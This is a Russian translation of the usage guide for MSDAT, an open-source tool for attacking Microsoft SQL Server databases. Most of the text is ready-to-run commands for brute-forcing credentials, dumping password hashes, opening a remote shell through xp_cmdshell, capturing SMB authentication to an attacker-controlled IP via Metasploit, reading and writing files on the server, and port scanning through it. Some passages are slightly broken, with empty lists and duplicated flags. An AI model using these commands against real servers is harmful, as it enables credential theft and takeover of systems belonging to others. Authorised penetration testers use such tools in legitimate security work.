
MSDAT: Инструмент для атак на базы данных Microsoft SQL
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT (Microsoft SQL Database Attacking Tool) — это инструмент для тестирования на проникновение с открытым исходным кодом, который проверяет безопасность Microsoft SQL баз данных удалённо.
Примеры использования MSDAT:
Протестировано на Microsoft SQL Database 2005, 2008, 2012, 2014, 2016 и 2019.
Благодаря MSDAT (Microsoft SQL Database Attacking Tool) вы можете (неисчерпывающий список):
Для запуска MSDAT необходимо установить некоторые зависимости.
В Ubuntu:
sudo apt-get install freetds-dev
или скачайте freetds с http://www.freetds.org/
Установка зависимостей Python:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
или
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
Добавьте "use ntlmv2 = yes" в ваш конфигурационный файл freetds (например, /etc/freetds/freetds.conf или /usr/local/etc/freetds.conf).
Пример:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy ([email protected])
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Choose a main command
all to run all modules in order to know what it is possible to do
mssqlinfo to get information without authentication
passwordguesser to know valid credentials
passwordstealer to get hashed passowrds
xpcmdshell to get a shell
jobs to execute system commands
smbauthcapture to capture a SMB authentication
oleautomation to read/write file and execute system commands
bulkopen to read a file and scan ports
xpdirectory to list files/drives and to create directories
trustworthype to become sysadmin with the trustwothy database method
userlikepwd to try each MSSQL username stored in the DB like the corresponding pwd
search to search in column names
cleaner clean local traces
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
./msdat.py -h
./msdat.py all -h
Вы можете узнать, может ли конкретный модуль быть использован на MSSQL-сервере, с помощью опции --test-module. Эта опция реализована в каждом модуле msdat.
Модуль all позволяет запустить все модули (зависит от указанных вами опций).
python msdat.py all -s $SERVER
Если вы хотите:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
В каждом модуле вы можете задать набор символов с помощью опции --charset.
Чтобы получить техническую информацию об удалённом MSSQL-сервере без аутентификации:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
Этот модуль использует протокол TDS и SQL browser Server для получения информации.
Этот модуль позволяет искать действительные учётные данные:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
Опция --force-retry позволяет тестировать несколько паролей для каждого пользователя без вашего запроса.
Вы можете указать собственный файл учётных записей с помощью опции --accounts-file:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
Чтобы дампнуть хешированные пароли:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
Этот модуль протестирован на SQL Server 2000, 2005, 2008 и 2014.
Чтобы выполнять системные команды с помощью xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
Эта команда даёт вам интерактивную оболочку на удалённом сервере базы данных.
Если xp_cmdshell не включён, опцию --enable-xpcmdshell можно использовать в этом модуле для его активации:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
Опция --enable-xpcmdshell включает xp_cmdshell, если он не включён (по умолчанию не включён).
Опция --disable-xpcmdshell отключает xp_cmdshell, если он включён.
С помощью этого модуля вы можете перехватить SMB-аутентификацию:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
Для перехвата SMB-аутентификации можно использовать модуль auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) metasploit:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
Команда capture этого модуля пытается перехватить SMB-аутентификацию с помощью процедур xp_dirtree, xp_fileexist или xp-getfiledetails.
Если вы хотите выбрать процедуру SMB-аутентификации для перехвата:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
Вы можете изменить имя SHARE с помощью опции --share-name.
Этот модуль можно использовать для чтения/записи файлов на сервере базы данных.
Следующая команда читает файл temp.txt, хранящийся на сервере базы данных:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
Чтобы записать строку в файл (temp.txt) удалённо:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
Этот модуль можно использовать для загрузки файла (C:\Users\Administrator\Desktop\temp.txt), хранящегося на сервере базы данных:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Также вы можете использовать этот модуль для выгрузки файла (temp.txt) на целевую машину:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
Модуль bulkopen может использоваться:
Чтобы прочитать файл, хранящийся на целевой машине, можно использовать следующую команду:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
Опция --method может использоваться для указания используемого метода:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
Чтобы скачать файл (C:\Users\Administrator\Desktop\temp.txt):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Этот модуль можно использовать для сканирования портов (1433 и 1434 127.0.0.1) через сервер базы данных:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
Вы можете сканировать диапазон портов:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
Этот модуль можно использовать для выполнения SQL-запросов (например: select @@ServerName) на удалённом сервере базы данных (например, $SERVER2) через базу данных ($SERVER):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
Модуль xpdirectory может использоваться:
Чтобы вывести список файлов в конкретном каталоге:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
Чтобы вывести список каталогов в конкретном каталоге:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
Чтобы вывести список дисков:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
Чтобы проверить существование файла:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
Чтобы создать каталог:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
Модуль search может использоваться для поиска шаблона в именах столбцов таблиц и представлений. Полезно, например, для поиска шаблона %password% в именах столбцов.
Чтобы получить имена столбцов, содержащих шаблоны паролей (например: passwd, password, motdepasse, clave):
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Если вы хотите видеть имена столбцов, которые не содержат данных, используйте опцию --show-empty-columns.
Чтобы найти конкретный шаблон в именах столбцов представлений и таблиц:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Если вы хотите поддержать мою работу пожертвованием, я буду очень признателен: